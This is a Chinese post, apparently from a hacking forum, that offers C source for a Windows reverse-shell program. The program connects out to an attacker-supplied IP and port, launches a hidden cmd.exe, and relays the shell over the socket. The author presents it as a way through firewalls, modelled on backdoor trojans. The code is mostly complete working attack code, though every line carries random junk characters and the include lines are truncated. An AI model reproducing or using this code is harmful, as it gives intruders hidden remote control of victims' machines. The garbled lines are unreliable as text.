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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IrWD%/$H  
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/* ============================== %0mMz.f  
Rebound port in Windows NT [_.5RPJP8  
By wind,2006/7 mUz\ra;z  
===============================*/ 6^c>,.R  
#include ^+m+zd_  
#include i6 (a@KRY  
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#pragma comment(lib,"wsock32.lib") A6pjRxg  
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void OutputShell(); DANw1 _X\  
SOCKET sClient; )h8\u_U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =T7A]U]  
y T#{UA^  
void main(int argc,char **argv) 9gEssTkts  
{ !DI{:I_h(  
WSADATA stWsaData; z ly unJD(  
int nRet; \a=D  
SOCKADDR_IN stSaiClient,stSaiServer; DVkB$2]  
v^_mFp-}\  
if(argc != 3) {|yob4N  
{ fz3 lV  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~35U]s@v  
return; /2HN>{F^Y  
} Cc, `}SP  
%T[^D&9$,  
WSAStartup(MAKEWORD(2,2),&stWsaData); =Odv8yhn  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S>0nx ^P  
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stSaiClient.sin_family = AF_INET; .]9c/  
stSaiClient.sin_port = htons(0); T1r3=Y4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jh.@-  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f7'q-  
{ a+9 *@z2  
printf("Bind Socket Failed!\n"); AT\qiznvP  
return; {" 4e+y  
} $\"9<o|h  
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stSaiServer.sin_family = AF_INET; =SAU4xjo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d.2mT?`#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vi)%$~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .?>5-od2  
{ snt(IJQ  
printf("Connect Error!"); Bs M uQ|!  
return; NcAp_q? 4  
} k3t78Qg  
OutputShell(); D>!6,m2  
} eJo3 MK  
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void OutputShell() rO:u6."_  
{ :~ A%#  
char szBuff[1024]; z 8*8OWM  
SECURITY_ATTRIBUTES stSecurityAttributes; KnNh9^4"\2  
OSVERSIONINFO stOsversionInfo; }rdIUlVO\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c0Dmq)HK?  
STARTUPINFO stStartupInfo; kpI{KISQu  
char *szShell; \M"UmSB o  
PROCESS_INFORMATION stProcessInformation; 4W#E`9 6u  
unsigned long lBytesRead; D)brPMS:o  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WpLZQ6wH  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Do]*JO)(  
stSecurityAttributes.lpSecurityDescriptor = 0; f N "tA  
stSecurityAttributes.bInheritHandle = TRUE; P &)1Rka  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gs W0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YUdxG/~'  
NA.1QQ ;e  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6UE(f@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CZEW-PIhj  
stStartupInfo.wShowWindow = SW_HIDE; ItX5JV)  
stStartupInfo.hStdInput = hReadPipe; (#oycj^<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;_:Ool,  
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GetVersionEx(&stOsversionInfo); [Lp,Hqi5  
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switch(stOsversionInfo.dwPlatformId) %Z8vdU#l  
{ M]-VHI[&W  
case 1: K{l5m{:%  
szShell = "command.com"; S }>n1F_  
break; cMzkL%  
default: \NqEw@91B  
szShell = "cmd.exe"; `E\imL  
break; |7^^*UzSK:  
} UHGcnz<  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ba@=^Fa;  
7rHS^8'H&  
send(sClient,szMsg,77,0); wVq\FY%  
while(1) GPWr>B.{:S  
{ 'ho{eR@d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); htPqT,L  
if(lBytesRead) YGsS4ia*4i  
{ a9~"3y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :h:@o h_=  
send(sClient,szBuff,lBytesRead,0); (XH2Sy  
} IB|]fzy  
else 9B +wYJp  
{ +/?iCmW  
lBytesRead=recv(sClient,szBuff,1024,0); /dDzZ%/@  
if(lBytesRead<=0) break; E-1"+p  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^UA(HthY  
} ]Fb0Az  
} Qeb}!k2A  
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return; \O7J=6fn  
}
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